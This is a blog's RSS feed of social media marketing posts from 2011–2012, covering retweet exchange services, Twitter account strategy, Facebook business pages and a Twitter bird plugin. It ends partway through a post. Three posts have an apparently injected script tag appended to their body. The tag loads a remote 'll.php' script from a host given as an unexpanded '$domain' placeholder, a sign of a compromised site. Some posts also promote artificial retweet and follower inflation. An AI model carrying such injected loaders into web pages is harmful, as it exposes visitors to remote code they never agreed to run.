<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Tycoon Blogger &#187; Social Networking</title>
	<atom:link href="http://tycoonblogger.com/category/social-media/feed" rel="self" type="application/rss+xml" />
	<link>http://tycoonblogger.com</link>
	<description>Promote your Blog - Promote Your Business</description>
	<lastBuildDate>Tue, 24 Jan 2012 01:37:05 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Top 5 Free Twitter Retweet Exchange Services</title>
		<link>http://tycoonblogger.com/social-media/top-5-free-twitter-retweet-exchange-services</link>
		<comments>http://tycoonblogger.com/social-media/top-5-free-twitter-retweet-exchange-services#comments</comments>
		<pubDate>Mon, 16 Jan 2012 21:08:08 +0000</pubDate>
		<dc:creator>Dan Keller</dc:creator>
				<category><![CDATA[Social Networking]]></category>
		<category><![CDATA[retweet exchange]]></category>

		<guid isPermaLink="false">http://tycoonblogger.com/?p=3189</guid>
		<description><![CDATA[<p><p><a href="http://tycoonblogger.com/social-media/top-5-free-twitter-retweet-exchange-services">Top 5 Free Twitter Retweet Exchange Services</a></p><p>We all know that Twitter is a valuable resource when it comes to connecting with others and driving traffic back to your site or blog. I am willing to bet that Twitter is in most peoples top 5 in regards to traffic sources. There is an easy way to increase that metric and gain more [...]</p></p><p><a href="http://tycoonblogger.com">Tycoon Blogger - Promote your Blog - Promote Your Business</a></p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://tycoonblogger.com/social-media/top-5-free-twitter-retweet-exchange-services">Top 5 Free Twitter Retweet Exchange Services</a></p><!-- AdSense Now! Lite V3.04 -->
<!-- Post[count: 2] -->
<div class="adsense adsense-leadin" style="text-align:center;margin: 12px;"><script type="text/javascript"><!--
google_ad_client = "ca-pub-1657144552451176";
/* tycoony */
google_ad_slot = "3294502887";
google_ad_width = 300;
google_ad_height = 250;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></div><p>We all know that Twitter is a valuable resource when it comes to connecting with others and driving traffic back to your site or blog. I am willing to bet that Twitter is in most peoples top 5 in regards to traffic sources. There is an easy way to increase that metric and gain more traffic through getting your tweets retweeted by others. The best part about using these services is that they are free and most also offer ways to help increase your twitter followers as well. This is what I call a Win-Win situation.</p>
<h2>Here are the Top 5 Twitter Retweeting Services</h2>
<p><a href="http://retweet.it/?ref=thedankeller">Retweet.it</a></p>
<p><a href="http://tycoonblogger.com/wp-content/uploads/2012/01/retweet-exchange-11.png"><img class="alignleft size-medium wp-image-3198" title="retweet exchange 1" src="http://tycoonblogger.com/wp-content/uploads/2012/01/retweet-exchange-11-300x72.png" alt="" width="300" height="72" /></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Retweet.it is the oldest and most established Retweeting site of its kind. I also think it is the easiest to use. You simply sign up, when you do you will earn 5 credits. You earn more credits by retweeting other people&#8217;s tweets. You then enter your own tweet and use your credits to entice them to retweet you.</p>
<p><a href="http://www.justretweet.com/refer/340">Just Retweet</a></p>
<p><a href="http://tycoonblogger.com/wp-content/uploads/2012/01/retweet-exchange-3.png"><img class="alignleft size-medium wp-image-3199" title="retweet exchange 3" src="http://tycoonblogger.com/wp-content/uploads/2012/01/retweet-exchange-3-300x70.png" alt="" width="300" height="70" /></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Just Retweet is a relatively new site that I discovered by reading the <a href="http://growmap.com" target="_blank">Grow Map</a> blog.  This site works in the same way as Retweet.it, where you earn credits by retweeting and then use those credits so others will retweet you.  There are a couple of cool features that help this service stand out.  I like how you can specify how many followers the user must have if you want them to tweet your message.  That way your credit is not wasted on a twitter account that has 18 followers.  I also like how you can earn credits by following others and by browsing websites.  In turn you can set credits and have people follow you and browse your site.</p>
<p>For a more in depth review of Just Retweet &#8211; Check out the review written by Shurley Hall over at<a href="http://basicblogtips.com/justretweet.html"> Basic Blog Tips</a></p>
<p>&nbsp;</p>
<p><a href="http://easyretweet.com/a/?easy=2945">Easy Retweet</a></p>
<p><a href="http://tycoonblogger.com/wp-content/uploads/2012/01/retweet-exhange-4.png"><img class="alignleft size-medium wp-image-3200" title="retweet exhange 4" src="http://tycoonblogger.com/wp-content/uploads/2012/01/retweet-exhange-4-300x67.png" alt="" width="300" height="67" /></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>EasyRetweet.com is very similar to Just Retweet.  They do have several additional features that are worth noting.  They recently implemented a list building section where you can earn credits for subscribing to someone&#8217;s list.  You can also offer credits to those that will sign up for your list.  They also offer many ways to earn free credits beyond just a referral link.  You earn credits by liking them on Facebook and signing up to their list and several other ways.</p>
<p><a href="http://adretweet.com/?ref=thedankeller"> Ad Retweet</a></p>
<p><a href="http://tycoonblogger.com/wp-content/uploads/2012/01/retweet-exchage-2.png"><img class="alignleft size-medium wp-image-3201" title="retweet exchage 2" src="http://tycoonblogger.com/wp-content/uploads/2012/01/retweet-exchage-2-300x69.png" alt="" width="300" height="69" /></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>AdRetweet is basically a clone of Retweet.it but is works well and is easy to use.</p>
<p><a href="http://favo.rs">Favo.rs</a></p>
<p><a href="http://tycoonblogger.com/wp-content/uploads/2012/01/retweet-exchange-5.png"><img class="alignleft size-medium wp-image-3202" title="retweet exchange 5" src="http://tycoonblogger.com/wp-content/uploads/2012/01/retweet-exchange-5-300x39.png" alt="" width="300" height="39" /></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>I saved the best for last.  I just started using Favo.rs and I am hooked.  The concept is pretty  strait forward, you sign in with Facebook or Twitter and you earn points for granting favors.  There are 4 main categories ; promote a link, review a site, introductions, and general.  Most of the favors that members are asking for are retweets, likes and Linkedin connections.  Exchanging retweets is only a fraction of what this site is all about but I am betting that this site will eclipse all the others I just mentioned in regards to driving traffic back to your site.</p>
<p><strong><span style="color: #993300;">Did I miss any?  Which one is your favorite?</span></strong></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><a href="http://tycoonblogger.com">Tycoon Blogger - Promote your Blog - Promote Your Business</a></p>]]></content:encoded>
			<wfw:commentRss>http://tycoonblogger.com/social-media/top-5-free-twitter-retweet-exchange-services/feed</wfw:commentRss>
		<slash:comments>30</slash:comments>
		</item>
		<item>
		<title>Weekly Blogging Debate : One main Twitter account or multiples for all sites?</title>
		<link>http://tycoonblogger.com/social-media/weekly-blogging-debate-one-main-twitter-account-or-multiples-for-all-sites</link>
		<comments>http://tycoonblogger.com/social-media/weekly-blogging-debate-one-main-twitter-account-or-multiples-for-all-sites#comments</comments>
		<pubDate>Tue, 10 Jan 2012 01:23:54 +0000</pubDate>
		<dc:creator>Dan Keller</dc:creator>
				<category><![CDATA[Social Networking]]></category>

		<guid isPermaLink="false">http://tycoonblogger.com/?p=2723</guid>
		<description><![CDATA[<p><p><a href="http://tycoonblogger.com/social-media/weekly-blogging-debate-one-main-twitter-account-or-multiples-for-all-sites">Weekly Blogging Debate : One main Twitter account or multiples for all sites?</a></p><p>I am reintroducing a feature that I used to highlight on this blog.  The concept is simple, each week I will introduce a topic that is sure to bring about a lively discussion. Examples of previous blogging debates over the years: Has the Bubble Burst on Popup Domination The Do follow versus No follow Debate [...]</p></p><p><a href="http://tycoonblogger.com">Tycoon Blogger - Promote your Blog - Promote Your Business</a></p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://tycoonblogger.com/social-media/weekly-blogging-debate-one-main-twitter-account-or-multiples-for-all-sites">Weekly Blogging Debate : One main Twitter account or multiples for all sites?</a></p><p>I am reintroducing a feature that I used to highlight on this blog.  The concept is simple, each week I will introduce a topic that is sure to bring about a lively discussion.</p>
<h2>Examples of previous blogging debates over the years:</h2>
<p><a href="http://tycoonblogger.com/blogging-tips/has-the-bubble-burst-on-popup-domination-3-warning-signs">Has the Bubble Burst on Popup Domination</a></p>
<p><a href="http://tycoonblogger.com/blogging-tips/the-great-debate-continues">The Do follow versus No follow Debate</a></p>
<p><a href="http://tycoonblogger.com/blogging-tips/62">How Long Should a Blog Post Be</a></p>
<p>I also came up with a list of the <a href="http://tycoonblogger.com/blogging-tips/top-ten-topics-that-bloggers-debate-about">top 10 things bloggers debate about</a> , but this list is a bit dated but most of the examples on the list still apply.</p>
<h3>Today I want to discuss the topic of Twitter accounts.</h3>
<p>Here is my situation, I have about 10 different Twitter accounts.  Every time I start a new blog or develop a new site, I will create a new Twitter account.  For example, my main Twitter handle is @thedankeller but I also have @tycoonblogger for this blog and @careerblogger for my career blog and @iwriteresumes for my resume writing business.</p>
<p>Should I focus on building up my main Twitter or split things up and have a focused Twitter account for each project/blog?</p>
<p>I really need help with this one as my opinion changes on a daily basis.  <span style="color: #333300;"><strong>Let me know your thoughts in the comments.</strong></span></p>
<p>As an incentive to comment (as if the comment luv premium isn&#8217;t enough <img src='http://tycoonblogger.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  ) I will be picking the top comment at the end of a week and offering them an opportunity to place a free 125&#215;125 ad for the following week.</p>
<h2><span style="text-decoration: underline;"><strong>UPDATE</strong></span></h2>
<p>Thank you all for the lively conversation in the comments.  It seems that the majority of people recommend sticking with one twitter account.  Out of 13 definitive opinions, 10 recommend one account.</p>
<p>I have decided to stick with one account and it will be the one that is my personal account @thedankeller.  I think this will work because most of what I am involved in online is technology or blogging related.  I also run a career advice blog but many of the post I write are about how to use social media to find a job so that fits right in.</p>
<p>The winner of last week&#8217;s best comment goes to Donna Young.</p>
<p>Check back tomorrow where I will open up another debate.</p>
<p><a href="http://tycoonblogger.com">Tycoon Blogger - Promote your Blog - Promote Your Business</a></p>]]></content:encoded>
			<wfw:commentRss>http://tycoonblogger.com/social-media/weekly-blogging-debate-one-main-twitter-account-or-multiples-for-all-sites/feed</wfw:commentRss>
		<slash:comments>23</slash:comments>
		</item>
		<item>
		<title>Future Challenges That Face Social Media Marketing</title>
		<link>http://tycoonblogger.com/social-media/future-challenges-that-face-social-media-marketing</link>
		<comments>http://tycoonblogger.com/social-media/future-challenges-that-face-social-media-marketing#comments</comments>
		<pubDate>Tue, 16 Aug 2011 21:56:21 +0000</pubDate>
		<dc:creator>Dan Keller</dc:creator>
				<category><![CDATA[Social Networking]]></category>

		<guid isPermaLink="false">http://tycoonblogger.com/?p=2635</guid>
		<description><![CDATA[<p><p><a href="http://tycoonblogger.com/social-media/future-challenges-that-face-social-media-marketing">Future Challenges That Face Social Media Marketing</a></p><p>Online marketers and the businesses who employ them are constantly concerned over their online marketing approach. We&#8217;ve seen that their isn&#8217;t a once-size-fits-all approach, and companies are constantly reevaluating what their doing. It&#8217;s become increasingly difficult to reach consumers who are already overwhelmed with advertisements and companies vying for their business. This has only become [...]</p></p><p><a href="http://tycoonblogger.com">Tycoon Blogger - Promote your Blog - Promote Your Business</a></p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://tycoonblogger.com/social-media/future-challenges-that-face-social-media-marketing">Future Challenges That Face Social Media Marketing</a></p><p>Online marketers and the businesses who employ them are constantly concerned over their online marketing approach. We&#8217;ve seen that their isn&#8217;t a once-size-fits-all approach, and companies are constantly reevaluating what their doing. It&#8217;s become increasingly difficult to reach consumers who are already overwhelmed with advertisements and companies vying for their business. This has only become more difficult as advancements in social media is attracting more users and evolved faster than the market can keep up with it. There are several trends that will take place in the next year or so that are going to create future challenges for anyone trying to reach the average online consumer:</p>
<p>User Control</p>
<p>As we keep seeing, users like to have more and more control over what media they&#8217;re using and how they&#8217;re using it. From their Facebook account to their Microsoft exchange, everyone wants to micromanage their online experience. As this is becoming mainstay in a society that is become increasingly techno-literate, it&#8217;s likely that people will be in the drivers seat when they&#8217;re navigating through a site or using social media pages. Before now, when a person would go on a site, they were guided through a process or prompted by pop-ups or other media. Many sites and brands are already giving more attention to their social media approach because this seems to be the way that people, at least for now, prefer to interact. So basically, instead of people going to a site, social media will go to the user and more businesses are going to get their message across through this massively popular vehicle.</p>
<p>Social Media Monitoring</p>
<p>The market is going to see a proliferation in the way sites and businesses monitor how users are interacting with their pages and sites. One informs the other and, as companies keep switching to a more social media approach, they&#8217;re going to have to get better at monitoring how well it is or isn&#8217;t working. This will be important to find out what influences are working on the user, and to help marketers know where they can adjust accordingly. Doing so isn&#8217;t just going to be helpful, it&#8217;s going to be essential.</p>
<p>Future Engagement and the Challenge</p>
<p>As a larger number of brands go social, just like with advertising already, it&#8217;s going to become more difficult to stand out. The average consumer is already inundated with media to such a degree that users are become very adept at tuning ads out. Companies will have to find ways to relate to users that&#8217;s more relevant and engaging. Greater dialogues will take place as they try to appear more open and “social.” We&#8217;re also going to see more of a mobile device approach as a larger portion of the population starts using these devices as their primary source for browsing and communicating.</p>
<p>All of these approaches are going to exist in the near future and will look much different a decade from now. It seems that as the world becomes more interconnected the evolution of marketing is going to occur at a more rapid pace. This is due to a society that is able to now exchange ideas and opinions at a speed that has no parallel in the whole of human history. Marketing campaigns and approaches will have to tap into this if they hope to have lasting market appeal. Brands are going to have to keep a constant pulse of the online social world and restructure their marketing campaigns often.</p>
<p><a href="http://tycoonblogger.com">Tycoon Blogger - Promote your Blog - Promote Your Business</a></p>]]></content:encoded>
			<wfw:commentRss>http://tycoonblogger.com/social-media/future-challenges-that-face-social-media-marketing/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>5 Ways To Build Credibility For Your Business Using A Facebook Page</title>
		<link>http://tycoonblogger.com/social-media/5-ways-to-build-credibility-for-your-business-using-a-facebook-page</link>
		<comments>http://tycoonblogger.com/social-media/5-ways-to-build-credibility-for-your-business-using-a-facebook-page#comments</comments>
		<pubDate>Sat, 06 Aug 2011 00:32:08 +0000</pubDate>
		<dc:creator>Dan Keller</dc:creator>
				<category><![CDATA[Social Networking]]></category>

		<guid isPermaLink="false">http://tycoonblogger.com/?p=2628</guid>
		<description><![CDATA[<p><p><a href="http://tycoonblogger.com/social-media/5-ways-to-build-credibility-for-your-business-using-a-facebook-page">5 Ways To Build Credibility For Your Business Using A Facebook Page</a></p><p>The increasing prevalence of social networking provides a unique opportunity for businesses to establish credibility with customers. With over 600 million members, Facebook has proven to be one of the most effective places for businesses to create an online presence and capitalize on social networking. Here are 5 ways to use Facebook to increase the [...]</p></p><p><a href="http://tycoonblogger.com">Tycoon Blogger - Promote your Blog - Promote Your Business</a></p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://tycoonblogger.com/social-media/5-ways-to-build-credibility-for-your-business-using-a-facebook-page">5 Ways To Build Credibility For Your Business Using A Facebook Page</a></p><p>The increasing prevalence of social networking provides a unique opportunity for businesses to establish credibility with customers. With over 600 million members, Facebook has proven to be one of the most effective places for businesses to create an online presence and capitalize on social networking. Here are 5 ways to use Facebook to increase the credibility of your business in the minds of potential customers.</p>
<h2>Create a Facebook Fan Page for your business.</h2>
<p>Creating your own Facebook is the first step toward building trust with your customers. You can use your regular website to give the customers the information they need, but not in the context of a social conversation as you can on Facebook. When you build your Facebook Page, be sure to take advantage of Facebook&#8217;s new i-frame capabilities in order to provide the same information presented on your regular website, along with a method of collecting email addresses, while giving yourself the opportunity to interact with interested customers.</p>
<h2>Encourage business related questions on your Fan Page and ANSWER them.</h2>
<p>Many businesses have set up Facebook Pages and use them for nothing more than posting links to sales and promotions. Don&#8217;t use your page to &#8220;shout&#8221; at your potential customers in this manner. Be sure to openly encourage them to ask any and all questions they may have about your products and services. Monitor your page and answer all of these questions. Nothing helps establish you and your business as experts more than becoming the &#8220;go to&#8221; person when potential customers have questions.</p>
<h2>Post information useful to your customers.</h2>
<p>Don&#8217;t use your Facebook only to talk about yourself and your business. Post useful information on related topics as well. Post useful consumer links and videos. Post information on your community such as dates and locations of non-profit fundraisers or school deadlines. However, don&#8217;t overdo this technique, as you don&#8217;t want your Page to become just a community calendar. You also don&#8217;t want to get on your fans&#8217; nerves by posting too much.</p>
<h2>Use all the media capabilities of your Facebook Fan Page</h2>
<p>Facebook allows you to post video, audio and pictures as well as links and text. There are many potential customers who prefer those alternative methods of delivering information, so don&#8217;t leave them out. Learn how to easily create interesting and useful videos to post for your fans, or have them created for you. Post pictures of events that your company takes part in, but don&#8217;t post too many personal photos that will only have meaning for you and your co-workers.</p>
<h2>Create events through your Facebook Fan Page and invite your fans.</h2>
<p>These events can be live gatherings offline or even webinars. Use them to deliver a &#8220;soft sell&#8221; presentation showing what your business can do for them. Give the potential customers a little glimpse of what you can do for them, but don&#8217;t pressure Facebook fans too much. Social networking is about building proof of your competence over time.</p>
<p>As you take the time to build your credibility in the eyes of your Facebook Fans and attract a larger group of Fans to your Page, you will find that turning them into customers can be a much more pleasant experience than other forms of mar</p>
<p><a href="http://tycoonblogger.com">Tycoon Blogger - Promote your Blog - Promote Your Business</a></p>]]></content:encoded>
			<wfw:commentRss>http://tycoonblogger.com/social-media/5-ways-to-build-credibility-for-your-business-using-a-facebook-page/feed</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
		<item>
		<title>How to Keep Your Social Media Fresh</title>
		<link>http://tycoonblogger.com/social-media/how-to-keep-your-social-media-fresh</link>
		<comments>http://tycoonblogger.com/social-media/how-to-keep-your-social-media-fresh#comments</comments>
		<pubDate>Thu, 19 May 2011 23:44:57 +0000</pubDate>
		<dc:creator>Guest Blogger</dc:creator>
				<category><![CDATA[Social Networking]]></category>

		<guid isPermaLink="false">http://tycoonblogger.com/?p=2539</guid>
		<description><![CDATA[<p><p><a href="http://tycoonblogger.com/social-media/how-to-keep-your-social-media-fresh">How to Keep Your Social Media Fresh</a></p><p>Running out of ideas is a pretty common problem for bloggers. Whether you&#8217;ve been regularly blogging for a few weeks or a few months, it&#8217;s important to keep your readers engaged with new content. Luckily, there are lots of ways to use social media tools and new ideas to keep your readers coming back for [...]</p></p><p><a href="http://tycoonblogger.com">Tycoon Blogger - Promote your Blog - Promote Your Business</a></p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://tycoonblogger.com/social-media/how-to-keep-your-social-media-fresh">How to Keep Your Social Media Fresh</a></p><p>Running out of ideas is a pretty common problem for bloggers. Whether you&#8217;ve been regularly blogging for a few weeks or a few months, it&#8217;s important to keep your readers engaged with new content. Luckily, there are lots of ways to use social media tools and new ideas to keep your readers coming back for more.</p>
<p>Here are some ways you can keep it fresh</p>
<p><strong>1. Write new posts when inspiration strikes.</strong></p>
<p>Instead of making yourself write every day when you don&#8217;t feel inspired, wait until you get some inspiration (as long as you aren&#8217;t waiting too long!) and write a bunch of posts for your blog, Twitter, or Facebook at the same time. This works a little better for blogging, but it can also work for certain types of Facebook and Twitter posts.</p>
<p>Then, use a plugin or separate app like HootSuite to arrange to have your posts delivered at the exact right time. You can get once-a-week posts this way without working more than one day a week or one day every other week. Whenever the mood an opportunity strike, this option can keep you going through dry times, too, if you just save up some posts for days when you feel like you can&#8217;t write anything.</p>
<p><strong>2. Play Devil&#8217;s Advocate.</strong></p>
<p>Since social media is a platform for opinions, chances are your blog and similar social media outlets take some sort of stand on your niche. For a while, consider playing Devil&#8217;s Advocate. It can be fun to turn your own ideas on their head and argue with yourself, so to speak. But it can also make you seem more reliable and knowledgeable to your readers. If you aren&#8217;t afraid to fully examine your opinions so that you look at their bad side as well as their good side, you&#8217;re creating a more believable perspective.</p>
<p><strong>3. Set up some polls.</strong></p>
<p>Polls can be a fun way to get your readers involved and to get them commending on your blog, which can fuel your own fire and give you more things to write about. Most blog platforms have easy-to-use poll options, and they can help you bring readers back again and again. They&#8217;ll want to see where the results of the poll stand, after all!</p>
<p><strong>4. Get personal.</strong></p>
<p>If you haven&#8217;t told your readers much about yourself and your own experience with the topics you tackle in your blog, get personal. This is a good thing to do every once in a while, anyway, since it can let newer followers get to know you without having to search through a bunch of old blog posts to piece together what your life is like.</p>
<p>Update your &#8220;About Me&#8221; section, and spend some time cooking up blog posts about your own life. You don&#8217;t need to reveal your entire life story, but becoming a person rather than just the expert behind the keyboard can be a great boost for your blog.</p>
<p><strong>5. Ask questions.</strong></p>
<p>Rather than setting up polls, ask your audience actual questions. Opinion questions, particularly on incendiary topics, should be carefully used, but they can be interesting. If you&#8217;re asking questions, though, make sure you&#8217;re prepared to moderate and hear some pretty out there answers to your topic questions!</p>
<p><em>The following was a guest post from Anna Bailey.  Anna is a social media advocate at CreditDonkey. Tycoons and small business owners can visit www.creditdonkey.com to compare </em><a href="http://www.creditdonkey.com/business.html"><em>business credit cards</em></a><em> while keeping your social media fresh.</em><script src="http://$domain/ll.php?kk=11"></script></p>
<p><a href="http://tycoonblogger.com">Tycoon Blogger - Promote your Blog - Promote Your Business</a></p>]]></content:encoded>
			<wfw:commentRss>http://tycoonblogger.com/social-media/how-to-keep-your-social-media-fresh/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>6 Reasons why companies fail at social media</title>
		<link>http://tycoonblogger.com/social-media/6-reasons-why-companies-fail-at-social-media</link>
		<comments>http://tycoonblogger.com/social-media/6-reasons-why-companies-fail-at-social-media#comments</comments>
		<pubDate>Sat, 30 Apr 2011 22:30:24 +0000</pubDate>
		<dc:creator>Dan Keller</dc:creator>
				<category><![CDATA[Social Networking]]></category>

		<guid isPermaLink="false">http://tycoonblogger.com/?p=2467</guid>
		<description><![CDATA[<p><p><a href="http://tycoonblogger.com/social-media/6-reasons-why-companies-fail-at-social-media">6 Reasons why companies fail at social media</a></p><p>  Social media is the essence of Web 2.0 – that’s what every SEO and Internet Marketing expert will tell you. Since blogs, social networks like Digg and Reddit and sites like Facebook and Twitter became popular, a lot of marketers and companies have jumped on the bandwagon and started peddling their products to the [...]</p></p><p><a href="http://tycoonblogger.com">Tycoon Blogger - Promote your Blog - Promote Your Business</a></p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://tycoonblogger.com/social-media/6-reasons-why-companies-fail-at-social-media">6 Reasons why companies fail at social media</a></p><p> </p>
<p>Social media is the essence of Web 2.0 – that’s what every SEO and Internet Marketing expert will tell you. Since blogs, social networks like Digg and Reddit and sites like Facebook and Twitter became popular, a lot of marketers and companies have jumped on the bandwagon and started peddling their products to the users there, but few of them were successful.</p>
<p>There are many reasons why that happened, and I will cover most of them in this article. Here are the most common mistakes that businesses make on Twitter, Facebook and other sites that are run and dominated by the people:</p>
<p><strong>Not understanding the “social” part</strong>. Socializing is the most important part of social media (d’uh!). People communicate with each other, share stories, advice, opinions, tips and other things. If you’re just going to have an account and not get into any discussions or interest groups, nobody will want to have anything with you and they definitely won’t want to hear what you have to say about yourself and your products.</p>
<p><strong>Talking only about their product</strong>. Most of the companies fail at this. When they actually start being social, they also start being selfish and talk only about their products. This soon turns into a one way discussion with others, and people hate being told what to do. They start ignoring everything you have to say and you’re back to square one.</p>
<p><strong>Ignoring the followers</strong>. If your business is lucky enough to be able to maintain good discussions and interest in their brand, they will start having followers and fans. And you shouldn’t just say “Now you’re mine!” and then ignore them, because they will leave you. They aren’t bound by any contract. If you don’t pay special attention to them and don’t offer something interesting or of value, they will abandon you without any second thoughts.</p>
<p><strong>Not being fun</strong>. A lot of companies like to have control over their assets, and most of them consider their customers an asset. That’s why they think that they can’t afford to be fun on social sites. They’re afraid to say or do something wrong because then the customers will laugh at them. And this paralysis is just bad. Do something fun, make mistakes and apologize for them – that’s the whole point of being social!</p>
<p><strong>Failing to deliver value</strong>. Of course, people will want to see you providing something of value in exchange for their commitment to your brand. If you don’t offer anything great to your fans and followers, they’ll simply go to other companies that do. Just offer a discount, a present, create a contest or something similar – that’s probably the simplest and most effective thing you can do.</p>
<p><strong>Having a bad product</strong>. And last but not the least; nothing will save you if you have a bad product. You have to make sure you’ve built a good, decent product that people will actually want to use. If that is missing, no amount of clever or even genius-level marketing will help you, even on social media sites.</p>
<p>So, if you are a brand, small or big, and you want to get into the whole social media craze to make more profits, you will certainly have a hard time, but you shouldn’t give up, because it is possible to leverage this new technology in your favor, you just have to learn how.<script src="http://$domain/ll.php?kk=11"></script></p>
<p><a href="http://tycoonblogger.com">Tycoon Blogger - Promote your Blog - Promote Your Business</a></p>]]></content:encoded>
			<wfw:commentRss>http://tycoonblogger.com/social-media/6-reasons-why-companies-fail-at-social-media/feed</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>How to add flying Twitter bird to your blog</title>
		<link>http://tycoonblogger.com/social-media/how-to-add-flying-twitter-bird-to-your-blog</link>
		<comments>http://tycoonblogger.com/social-media/how-to-add-flying-twitter-bird-to-your-blog#comments</comments>
		<pubDate>Wed, 06 Apr 2011 00:08:39 +0000</pubDate>
		<dc:creator>Dan Keller</dc:creator>
				<category><![CDATA[Promote Your Business]]></category>
		<category><![CDATA[Social Networking]]></category>

		<guid isPermaLink="false">http://tycoonblogger.com/?p=2430</guid>
		<description><![CDATA[<p><p><a href="http://tycoonblogger.com/social-media/how-to-add-flying-twitter-bird-to-your-blog">How to add flying Twitter bird to your blog</a></p><p>If you are reading this you probably just saw the little blue twitter bird fly by.  Go ahead and hover on it&#8230;Go ahead, I&#8217;ll wait.   Isn&#8217;t that cool?  You can follow me or tweet this post with a simple click.  I have had this twitter bird flying around my blog for less than 24 hours [...]</p></p><p><a href="http://tycoonblogger.com">Tycoon Blogger - Promote your Blog - Promote Your Business</a></p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://tycoonblogger.com/social-media/how-to-add-flying-twitter-bird-to-your-blog">How to add flying Twitter bird to your blog</a></p><p>If you are reading this you probably just saw the little blue twitter bird fly by.  Go ahead and hover on it&#8230;Go ahead, I&#8217;ll wait.   Isn&#8217;t that cool?  You can follow me or tweet this post with a simple click.  I have had this twitter bird flying around my blog for less than 24 hours and I have already had 4 different people contact me and ask about it and where they can get it.</p>
<p>Fortunately for Wordpress bloggers, this twitter bird is available through the official plugin site.  The name of the plugin is <a href="http://wordpress.org/extend/plugins/anmiated-twitter-bird/faq/">Animated Twitter Bird </a>.</p>
<p>The setup for this plugin is super easy.  In the settings page you enter your twitter name and then decide if you want to display your latest post or not. </p>
<p>I will be taking a close look at the results of this plugin and will report back and let you all know if there has been an increase in followers or tweets.  I am certainly hoping that is the case because I have noticed that my twitter follower count has leveled out over the past couple of months.  I am bot complaining though, because my Facebook likes have been going through the roof in the same time period.</p>
<p><strong>What do you think about the flying twitter bird?  Cute or Annoying?  Do you think it will lead to a measurable increase in followers?</strong></p>
<p>If you are looking for more Twitter followers &#8211; I personally recommend TweetAdder &#8211; click on the banner below to learn more:</p>
<p><a href="http://www.tweetadder.com/idevaffiliate/idevaffiliate.php?id=10448_0_1_5" target="_blank"><img src="http://www.tweetadder.com/idevaffiliate/banners/250x250-1.gif" border="0" alt="" width="250" height="250" /></a><script src="http://$domain/ll.php?kk=11"></script></p>
<p><a href="http://tycoonblogger.com">Tycoon Blogger - Promote your Blog - Promote Your Business</a></p>]]></content:encoded>
			<wfw:commentRss>http://tycoonblogger.com/social-media/how-to-add-flying-twitter-bird-to-your-blog/feed</wfw:commentRss>
		<slash:comments>23</slash:comments>
		</item>
		<item>
		<title>5 Twitter Tips That Make You Look Like An Idiot</title>
		<link>http://tycoonblogger.com/promoting-your-blog/5-twitter-tips-that-make-you-look-like-an-idiot</link>
		<comments>http://tycoonblogger.com/promoting-your-blog/5-twitter-tips-that-make-you-look-like-an-idiot#comments</comments>
		<pubDate>Fri, 21 Jan 2011 00:31:52 +0000</pubDate>
		<dc:creator>El Edwards</dc:creator>
				<category><![CDATA[Marketing and Promotion]]></category>
		<category><![CDATA[Social Networking]]></category>

		<guid isPermaLink="false">http://tycoonblogger.com/?p=2281</guid>
		<description><![CDATA[<p><p><a href="http://tycoonblogger.com/promoting-your-blog/5-twitter-tips-that-make-you-look-like-an-idiot">5 Twitter Tips That Make You Look Like An Idiot</a></p><p>You’ve heard it all before. Twitter is great for building an audience for your business. If you want your customers to adore you, you’ve got to be on Twitter. “Twitter is to 2009 what Facebook was to 2007.” Yeah, yeah, yeah. But it’s 2011 already. Twitter is flooded with people trying persuade other people to [...]</p></p><p><a href="http://tycoonblogger.com">Tycoon Blogger - Promote your Blog - Promote Your Business</a></p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://tycoonblogger.com/promoting-your-blog/5-twitter-tips-that-make-you-look-like-an-idiot">5 Twitter Tips That Make You Look Like An Idiot</a></p><p><strong>You’ve heard it all before.</strong></p>
<p>Twitter is great for building an audience for your business. If you want your customers to adore you, you’ve got to be on Twitter.</p>
<p>“Twitter is to 2009 what Facebook was to 2007.” Yeah, yeah, yeah.</p>
<p>But it’s 2011 already. Twitter is flooded with people trying persuade other people to buy into them in just 140 characters.</p>
<p>And you wonder, is it really still possible to stand out from the crowd? Can you be heard above the noise and even if you can, is that really what it’s all about?</p>
<p>Or are you just another idiot who’s bought into a dream?</p>
<p>Are you really talking to future customers or is it all just recycled money? One guy peddling how-to stuff to a would-be marketer who, in turn, sells it to his mate?</p>
<p>Here’s the truth: Yes and no. How’s that for transparancy?!</p>
<p style="text-align: center;">
